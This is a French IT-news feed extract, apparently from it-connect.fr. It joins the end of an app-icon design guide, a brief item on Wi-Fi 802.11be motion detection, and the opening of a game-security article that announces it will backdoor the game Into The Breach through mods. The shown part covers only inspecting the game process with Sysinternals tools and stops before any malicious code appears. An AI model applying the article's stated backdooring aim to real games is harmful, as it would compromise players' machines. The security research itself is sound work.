<p><strong>3. Mettez en avant les détails</strong>. Mettez en avant un des détails de l’icône ou rendez le logo un peu asymétrique. Ceci attirera l’attention des utilisateurs. C’est ce qu’ont fait les développeurs de Todoist :</p>
<p><img class="aligncenter size-full wp-image-34504" src="media/8e10f936.tips-app-logo-10.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-10.jpg" alt="" width="168" height="187" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-10.jpg 168w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-10-135x150.jpg 135w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-10-144x160.jpg 144w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-10-45x50.jpg 45w" sizes="(max-width: 168px) 100vw, 168px" /></p>
<p><strong>4. Les dégradés.</strong> C’est la tendance de 2018 et elle restera d’actualité. Avec un dégradé, l’image peut être rendue plus volumineuse et plus profonde afin d’avoir des effets visuels uniques. Instagram est associé à cette tendance :</p>
<p><img class="aligncenter size-full wp-image-34503" src="media/f66ba163.tips-app-logo-11.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-11.jpg" alt="" width="203" height="186" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-11.jpg 203w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-11-150x137.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-11-160x147.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-11-50x46.jpg 50w" sizes="(max-width: 203px) 100vw, 203px" /></p>
<p><strong>5. Les nuances de néon.</strong> Les logos minimalistes peuvent être animés avec des couleurs néon claires avec un dégradé. C’est la tendance sur laquelle les designers de Spotify se sont basés :</p>
<p><img class="aligncenter size-full wp-image-34502" src="media/b5e208f3.tips-app-logo-12.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-12.jpg" alt="" width="187" height="174" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-12.jpg 187w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-12-150x140.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-12-160x149.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-12-50x47.jpg 50w" sizes="(max-width: 187px) 100vw, 187px" /></p>
<p><strong>6. "Fait à la main".</strong> Les images dessinées à la main, aux contours flous et aux couleurs naturelles. Cette option a été choisie par MetLife :</p>
<p><img class="aligncenter size-full wp-image-34501" src="media/2fb2c959.tips-app-logo-13.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-13.jpg" alt="" width="176" height="180" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-13.jpg 176w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-13-147x150.jpg 147w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-13-156x160.jpg 156w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-13-50x50.jpg 50w" sizes="(max-width: 176px) 100vw, 176px" /></p>
<h2>IV. Comment créer une icône pour une application Android ?</h2>
<p>L’icône d’application Android doit être développée en tenant compte des paramètres de l’appareil Android et de la résolution d’écran. Le DPI est utilisé pour mesurer la qualité des graphiques au niveau des les applications. La classification DPI est comme suit :</p>
<p>• LDPI - 120;</p>
<p>• MDPI - 160</p>
<p>• High DPI - 240;</p>
<p>• XHDPI - 320;</p>
<p>• XXHDPI - 480.</p>
<p>L’icône de l’application doit être créée conformément aux exigences d’Android.</p>
<h3>A. Exigences relatives à l’icône pour lancer un programme</h3>
<p>L’image pour exécuter le programme pour smartphone doit être au format PNG, 32 bits. Un fond transparent est également requis.</p>
<p>La taille minimale d’une icône MDPI est de 48dp, les bords sont de 1dp. La quantité de détails dépend du DPI. Les options de tailles pour les autres métriques (en px):</p>
<table>
<tbody>
<tr>
<td><strong>MDPI</strong></td>
<td><strong>HDPI </strong></td>
<td><strong>XHDPI </strong></td>
<td><strong>XXHDPI </strong></td>
<td><strong>XXXHDPI </strong></td>
</tr>
<tr>
<td>48</td>
<td>72</td>
<td>96</td>
<td>144</td>
<td>192</td>
</tr>
</tbody>
</table>
<h3>B. Exigences relatives aux icônes pour publier sur le Google Play</h3>
<p>L’icône de l’application mobile doit avoir pour résolution 512 x 512 pixels. Cette icône est conçue spécialement pour le Google Play et ne peut pas être utilisée pour lancer le programme. Mais en même temps, les images utilisées sur les différentes variantes de l’icône doivent être identiques.</p>
<h3>C. Astuces et consignes pour développer des icônes pour applications Android</h3>
<p>Suivez les consignes suivantes :</p>
<p>• placez les éléments importants au centre, loin des bords et dans le tiers inférieur du cadre;</p>
<p>• s’il s’agit d’un logo, placez-le au centre en l'alignant verticalement et horizontalement;</p>
<p>• n’utilisez que des grandes polices pour les lettres.</p>
<p>Il est possible de créer une icône pour une application mobile Android dans un but précis. Par exemple:</p>
<p>1. Le branding. Créez une icône originale avec les couleurs et symboles de votre marque.</p>
<p>2. Attirez les utilisateurs à la recherche d’applications sur le Google Play. Un design de qualité est un indicateur de la qualité du programme.</p>
<p>Quel que soit l’objectif, l’image utilisée pour l’application Android doit être claire dans toutes les conditions, avec tout type de fond. Il est permis d’utiliser des icônes de forme originale.</p>
<h3>D. Comment créer une icône pour une application iOS ?</h3>
<p>Pour chaque application iOS, vous devez en faire une grande et une petite variante. La petite est requise pour être affichée sur l’écran d’accueil et dans le système (après avoir installé l’application). La grande est celle affichée sur l’App Store.</p>
<table>
<tbody>
<tr>
<td><strong>Type d’appareil</strong></td>
<td><strong>Dimensions de l’icône (px)</strong></td>
</tr>
<tr>
<td>iPhone 6s Plus etc.</td>
<td>180x180</td>
</tr>
<tr>
<td>iPhone 6s, iPhone 6,</p>
<p>iPhone SE etc.</td>
<td>120x120</td>
</tr>
<tr>
<td>iPad Pro</td>
<td>167x167</td>
</tr>
<tr>
<td>iPad, iPad mini</td>
<td>152x152</td>
</tr>
<tr>
<td>App Store</td>
<td>1024x1024</td>
</tr>
</tbody>
</table>
<p>Créez quelques petites icônes en tenant compte des conditions requises pour les différents appareils iOS. Il ne devrait y avoir aucune grande différence visuelle entre les images de différentes tailles.</p>
<p>Important : Vous n’avez pas besoin d’ajouter un cadre lumineux autour des icônes : le système ajoutera automatiquement une indentation d’un pixel à toutes les icônes pour bien les encadrer.</p>
<h3>E. Règles de design pour les icônes d’applications iOS</h3>
<p>Suivez ces recommandations :</p>
<p>1. Design simple. Il doit être l’élément central transmettant l’essence du programme, sur un fond simple et mémorable, accompagné d’un minimum de détails.</p>
<p>2. Accentuation claire. Concentrez-vous sur l’élément qui attirera les utilisateurs et indiquera l’utilité de votre programme.</p>
<p>3. Reconnaissance. Pas d’énigmes : l’utilisateur n’a pas le temps de résoudre les énigmes. Il doit comprendre instantanément l’importance de l’icône et du programme.</p>
<p>4. Simple fond opaque pour se concentrer sur l’élément principal.</p>
<p>5. Pas d’images protégées ! C’est valable aussi pour les éléments liés à la marque Apple.</p>
<p>6. Testez différentes options de fond avec l’icône - pour que l’image puisse se marier avec la plupart des options de fonds personnalisés.</p>
<p>7. Garder les angles droits - le système les arrondira.</p>
<h2>V. Comment créer un logo pour une application : les meilleurs services</h2>
<p>Si vous voulez créer vous-même une icône pour application mobile - nous avons choisi des services qui vous seront utiles.</p>
<p><a href="https://www.logaster.fr/logo/" target="_blank" rel="noopener noreferrer"><strong>Logaster</strong></a></p>
<p>C’est un générateur de logo en ligne. Il propose des dizaines de solutions visuelles uniques. Vous pouvez préciser le schéma de couleur et le thème souhaités. Vous pouvez modifier la version qui vous plaît et la télécharger dans les dimensions appropriées.</p>
<p><img class="aligncenter size-full wp-image-34509" src="media/99098391.tips-app-logo-14.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-14.jpg" alt="" width="602" height="404" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-14.jpg 602w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-14-550x369.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-14-150x101.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-14-160x107.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-14-50x34.jpg 50w" sizes="(max-width: 602px) 100vw, 602px" /></p>
<p><a href="https://makeappicon.com/" target="_blank" rel="noopener noreferrer"><strong>Makeappicon </strong></a></p>
<p>C’est un générateur d’icônes pour Android et iOS dans les bonnes dimensions. Vous pouvez uploader votre propre image, sur laquelle le service se basera pour créer des logos. Ils répondront aux exigences du moment.</p>
<p><img class="aligncenter size-full wp-image-34508" src="media/11df4d07.tips-app-logo-15.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-15.jpg" alt="" width="602" height="424" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-15.jpg 602w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-15-550x387.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-15-150x106.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-15-160x113.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-15-50x35.jpg 50w" sizes="(max-width: 602px) 100vw, 602px" /></p>
<p><a href="https://iconsflow.com/" target="_blank" rel="noopener noreferrer"><strong>IconsFlow</strong></a></p>
<p>C’est un générateur d’icônes en ligne permettant de créer des images dans un style unique. Vous pouvez avoir l’impression d’être un designer en sélectionnant les bons éléments et couleurs. Vous pouvez charger et modifier directement votre propre image.</p>
<p><img class="aligncenter size-full wp-image-34507" src="media/0357dd57.tips-app-logo-16.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-16.jpg" alt="" width="602" height="267" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-16.jpg 602w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-16-550x244.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-16-150x67.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-16-160x71.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-16-50x22.jpg 50w" sizes="(max-width: 602px) 100vw, 602px" /></p>
<p><a href="https://fontawesome.com/" target="_blank" rel="noopener noreferrer"><strong>Font Awesome</strong></a></p>
<p>C’est un puissant éditeur d’icônes pour applications mobiles et réseaux sociaux, avec une bibliothèque très riche, il est utilisé dans de nombreux domaines et sur certains sites Internet. Il propose plusieurs options et paramètres pour créer une image unique.</p>
<p><img class="aligncenter size-full wp-image-34506" src="media/d3287573.tips-app-logo-17.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-17.jpg" alt="" width="602" height="299" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-17.jpg 602w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-17-550x273.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-17-150x75.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-17-160x79.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tips-app-logo-17-50x25.jpg 50w" sizes="(max-width: 602px) 100vw, 602px" /></p>
<p><strong>Conclusion</strong></p>
<p>Développer un logo pour une application mobile est une tâche complexe. Vous devez obtenir des résultats intéressants, uniques et attractifs qui répondent aux exigences des développeurs d’applications mobiles. Suivez les règles et tendances. Moralité : utilisez des services adaptés de génération d’idées et rendez votre programme attractif vis-à-vis de votre public.</p>


feed_id: https://www.it-connect.fr/?p=34513
title: Wi-Fi : de la détection de mouvement avec le 802.11be ?
uri: Wi-Fi-de-la-détection-de-mouvement-avec-le-802-11be
url: https://www.it-connect.fr/wi-fi-de-la-detection-de-mouvement-avec-le-802-11be/
content:
<p><strong>Et si les signaux émis par le Wi-Fi permettait de détecter les mouvements dans une pièce ? C'est l'hypothèse émise par la rédaction de The Next Web en évoquant le prochain standard 802.11be avec le comité directeur IEEE. Alors qu'en 2019, le Wi-Fi 6 voyait le jour, on se tourne maintenant vers l'avenir avec de nouveaux usages.</strong></p>
<p>La norme 802.11be aurait pour objectif principal d'améliorer la connectivité entre différents appareils connectés à un même réseau, notamment avec des débits élevés sur des distances plus longues. En complément, de nouvelles fonctionnalités sont à l'étude, dans l'idée de faciliter la communication entre plusieurs véhicules pour éviter une collision.</p>
<p><strong>Paul Nikolich, directeur du comité IEEE, précise qu'il souhaite s'appuyer sur les signaux des radio-fréquences pour détecter les mouvements des personnes.</strong> Ainsi, on pourrait suivre une personne qui se déplace d'une pièce à l'autre. Il va encore plus loin en indiquant que l'on pourrait détecter le rythme cardiaque grâce aux signaux RF car le flux respiratoire agit sur les ondes. Cela pourrait s'avérer utile pour les personnes âgées afin de détecter une chute, par exemple.</p>
<p>Nous avons d'un côté l'IEEE qui imagine de nouvelles fonctionnalités et spécifications pour la nouvelle norme, et de l'autre Wi-fi.org qui est en charge de la commercialisation du protocole, et surtout, des tests de certification. La future norme est encore à l'étude et elle va encore évoluer dans les mois à venir.</p>
<p><a href="https://www.clubic.com/reseau-informatique/wi-fi/actualite-887357-prochaine-generation-wifi-apportera-detection-mouvement-domicile.html" target="_blank" rel="noopener noreferrer">Source</a></p>


feed_id: https://www.it-connect.fr/?p=34294
title: Into The Breach : du Mod à la backdoor
uri: Into-The-Breach-du-Mod-à-la-backdoor
url: https://www.it-connect.fr/into-the-breach-du-mod-a-la-backdoor/
content:
<h2>I. Présentation</h2>
<p>Dans cet article nous allons voir en quoi la modification d'un jeu, lorsqu'elle est possible, peu mettre en danger les joueurs, notamment par l'intermédiaire des mods. Le cobaye du jour est le jeu Into The Breach.</p>
<p>Je m'intéresse depuis un petit temps à la sécurité des jeux vidéo, business en pleine croissance dans lequel la sécurité informatique et la sécurité de l'information est de plus en plus présente. <strong>Triche, harcèlement de joueur, vol de compte, déni de service</strong> sont quelques exemples de cas et d'attaques pouvant toucher les jeux vidéo, ces attaques impactent directement la réputation, jouabilité et intérêt du jeu pour les joueurs, et donc <em>in fine</em> l'argent généré par ce jeu.</p>
<p>Bref, sujet passionnant, je vous recommande la lecture et visualisation des éléments suivants :</p>
<ul>
<li><a href="https://github.com/dsasmblr/game-hacking" target="_blank" rel="noopener noreferrer">https://github.com/dsasmblr/game-hacking</a></li>
<li><a href="https://fr.slideshare.net/Cigital/video-game-security" target="_blank" rel="noopener noreferrer">Slide sur la sécurité des jeux video sur Slideshare</a></li>
<li><a href="https://www.owasp.org/index.php/OWASP_Game_Security_Framework_Project" target="_blank" rel="noopener noreferrer">OWASP Game Security Framework Project</a></li>
</ul>
<p>Dans ce contexte, je me suis intéressé au jeu Into The Breach, un jeu en local uniquement (on commence doucement), rogue-like (<a href="https://fr.wikipedia.org/wiki/Rogue-like" target="_blank" rel="noopener noreferrer">https://fr.wikipedia.org/wiki/Rogue-like</a>), sortie en ce début d'année 2018. Je vous recommande d'ailleurs chaudement d'y jouer, ainsi que FTL (Faster Than Light) du même éditeur. Il s'agit en gros d'un jeu de stratégie tour par tour.</p>
<p><a href="media/af02908f.intotheB.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/intotheB.jpg"><img class="aligncenter size-large wp-image-34370" src="media/438740ef.intotheB-800x360.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/intotheB-800x360.jpg" alt="" width="800" height="360" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/intotheB-800x360.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/intotheB-550x248.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/intotheB-150x68.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/intotheB-768x346.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/intotheB-160x72.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/intotheB-50x23.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/intotheB.jpg 1186w" sizes="(max-width: 800px) 100vw, 800px" /></a></p>
<p>L'objectif de cet article est donc de commencer à parler de la sécurité des jeux vidéo, comprendre leur fonctionnement, mesures de protection et notamment la façon dont nous pouvons appliquer les éléments de la sécurité informatique, <em>forensic</em> (investigation numérique), test d'intrusion, etc. aux jeux vidéo. Nous allons ici commencer par étudier le fonctionnement du jeu (les éléments qui nous intéressent), essayer quelques techniques simples de triche et ensuite voir comment nous pouvons utiliser ces informations afin d'insérer du code malveillant à l'intérieur du jeu. J’émettrai enfin quelques "pistes" ou méthodes connues qui pourraient permettre, dans un contexte réel, de diffuser ce code malveillant.</p>
<h2>II. Étude du fonctionnement du jeu</h2>
<p>Commençons donc pour étudier le fonctionnement général du jeu, c'est à dire l'exécutable (ou binaire) permettant d'exécuter le jeu. J'utiliserai pour cela les outils suivants :</p>
<ul>
<li><strong>Process Explorer</strong> : fait partie des Windows Sysinternals, il s'agit d'un gestionnaire de tâche avancé permettant de récupérer un grand nombre d'informations sur les processus en cours d'exécution.</li>
<li><strong>Process Monitor</strong> : fait partie des Windows Sysinternals, permet de suivre avec précision les activités d'un ou plusieurs processus (activités concernant le registre, le réseau, le système de fichier, etc.).</li>
</ul>
<p>L'activité, pour l'utilisateur, du jeu peu se résumer en trois phases :</p>
<ul>
<li>accès au menu du jeu, qui permet de modifier les options, reprendre ou commencer une partie ;</li>
<li>préparation du lancement de partie, permet de composer et personnaliser sa squad (équipe) et de choisir le niveau de difficulté ;</li>
<li>déroulement de la partie, un enchainement de niveaux de plus en plus difficiles.</li>
</ul>
<p>Voici une vue de cette cette dernière phase :</p>
<p><a href="media/3298913b.IntoTheBreach_19.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_19.jpg"><img class="aligncenter size-large wp-image-34374" src="media/22272c1b.IntoTheBreach_19-800x547.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_19-800x547.jpg" alt="" width="800" height="547" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_19-800x547.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_19-550x376.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_19-150x103.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_19-768x525.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_19-160x109.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_19-50x34.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_19-130x90.jpg 130w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_19.jpg 1288w" sizes="(max-width: 800px) 100vw, 800px" /></a></p>
<p>On exécute donc le jeu une première fois, ainsi que Process Explorer :</p>
<figure id="attachment_34373" aria-describedby="caption-attachment-34373" style="width: 800px" class="wp-caption aligncenter"><a href="media/5d724cc0.IntoTheBreach_04.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_04.jpg"><img class="wp-image-34373 size-large" src="media/7baa8c65.IntoTheBreach_04-800x434.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_04-800x434.jpg" alt="" width="800" height="434" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_04-800x434.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_04-550x298.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_04-150x81.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_04-768x417.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_04-160x87.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_04-50x27.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_04.jpg 940w" sizes="(max-width: 800px) 100vw, 800px" /></a><figcaption id="caption-attachment-34373" class="wp-caption-text">Vue du processus Breach.exe et de son activité actuelle</figcaption></figure>
<p>Par défaut, Process Explorer nous permet donc de voir plusieurs informations, telles que les fichiers actuellement ouverts par le processus qui nous intéresse (<em>Breach.exe</em>), c'est également l'occasion de voir si <em>Breach.exe</em> ouvre d'autres processus, ce qui pourrait être le cas s'il possédait un anti-cheat, l'ouverture d'un processus par un autre processus pourrait se constater dans l'arborescence des processus, par exemple :</p>
<figure id="attachment_34372" aria-describedby="caption-attachment-34372" style="width: 281px" class="wp-caption aligncenter"><a href="media/ecc634fe.IntoTheBreach_08.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_08.jpg"><img class="wp-image-34372 size-full" src="media/ecc634fe.IntoTheBreach_08.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_08.jpg" alt="" width="281" height="326" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_08.jpg 281w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_08-129x150.jpg 129w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_08-138x160.jpg 138w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_08-43x50.jpg 43w" sizes="(max-width: 281px) 100vw, 281px" /></a><figcaption id="caption-attachment-34372" class="wp-caption-text">Arborescence de processus visualisée dans Process Explorer</figcaption></figure>
<p>Process Explorer nous permet également d'obtenir plusieurs informations à propos du processus <em>Breach.exe</em> et de son contexte d'exécution, on fait pour cela un clic droit &gt; Properties.... On peut ainsi voir, par exemple, le chemin d'accès à l'exécutable :</p>
<figure id="attachment_34371" aria-describedby="caption-attachment-34371" style="width: 593px" class="wp-caption aligncenter"><a href="media/1ae9cd8f.IntoTheBreach_05.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_05.jpg"><img class="size-full wp-image-34371" src="media/1ae9cd8f.IntoTheBreach_05.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_05.jpg" alt="" width="593" height="589" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_05.jpg 593w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_05-550x546.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_05-150x150.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_05-160x160.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_05-50x50.jpg 50w" sizes="(max-width: 593px) 100vw, 593px" /></a><figcaption id="caption-attachment-34371" class="wp-caption-text">Informations de bases du processus Breach.exe</figcaption></figure>
<p>On constate également l'état des protections pouvant être positionnées sur l'exécutable, (<em>Data Execution Prevention</em>, ASLR, <em>Control Flow Guard</em>), etc. Pour rappel, ces informations peuvent également être visualisées pour l'ensemble des processus grâce à l'ajout de colonnes dans la fenêtre principale :</p>
<p><a href="media/e4999c54.IntoTheBreach_07.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_07.jpg"><img class="aligncenter size-large wp-image-34369" src="media/767ba51e.IntoTheBreach_07-800x88.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_07-800x88.jpg" alt="" width="800" height="88" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_07-800x88.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_07-550x60.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_07-150x16.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_07-768x84.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_07-160x18.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_07-50x5.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_07.jpg 1369w" sizes="(max-width: 800px) 100vw, 800px" /></a></p>
<p>Le panneau <em>Properties</em> permet également de voir les connexions ouvertes par le processus :<br />
<a href="media/4401131c.IntoTheBreach_06.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_06.jpg"><img class="aligncenter size-full wp-image-34368" src="media/4401131c.IntoTheBreach_06.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_06.jpg" alt="" width="665" height="227" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_06.jpg 665w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_06-550x188.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_06-150x51.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_06-160x55.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_06-50x17.jpg 50w" sizes="(max-width: 665px) 100vw, 665px" /></a>Ou encore les variables d'environnement de celui-ci :</p>
<figure id="attachment_34367" aria-describedby="caption-attachment-34367" style="width: 682px" class="wp-caption aligncenter"><a href="media/6461969c.IntoTheBreach_09.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_09.jpg"><img class="wp-image-34367 size-full" src="media/6461969c.IntoTheBreach_09.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_09.jpg" alt="" width="682" height="453" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_09.jpg 682w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_09-550x365.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_09-150x100.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_09-160x106.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_09-50x33.jpg 50w" sizes="(max-width: 682px) 100vw, 682px" /></a><figcaption id="caption-attachment-34367" class="wp-caption-text">Visualisation des variables d’environnement du processus Breach.exe dans Process Explorer</figcaption></figure>
<p>Parmi les information intéressantes ici, le chemin <em>APPDATA, INSTALLEDIR,</em> etc .Bref, Process Explorer permet de faire un premier tour du processus. Nous allons à présent utiliser Process Monitor et son système de filtre afin de tracer l'exécution de <em>Breach.exe</em>. Dés son ouverture, Process Monitor nous affiche son interface de filtre, permettant notamment de créer un filtre pour cibler un processus spécifique, comme ci-dessous :</p>
<figure id="attachment_34366" aria-describedby="caption-attachment-34366" style="width: 800px" class="wp-caption aligncenter"><a href="media/08899772.IntoTheBreach_10.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_10.jpg"><img class="size-large wp-image-34366" src="media/d09ef9fa.IntoTheBreach_10-800x464.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_10-800x464.jpg" alt="" width="800" height="464" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_10-800x464.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_10-550x319.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_10-150x87.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_10-768x445.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_10-160x93.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_10-50x29.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_10.jpg 818w" sizes="(max-width: 800px) 100vw, 800px" /></a><figcaption id="caption-attachment-34366" class="wp-caption-text">Utilisation des filtres Process Monitor afin d'afficher les activités du processus Breach.exe uniquement</figcaption></figure>
<p>Je cible donc les activités qui concernent le processus <em>Breach.exe. </em>L'intérêt de Process Monitor est également qu'il peut être démarré avant l'exécution du processus qui nous intéresse, ce qui permet de tracer les premières actions de celui-ci dés son démarrage et son historique tout au long de son exécution. :</p>
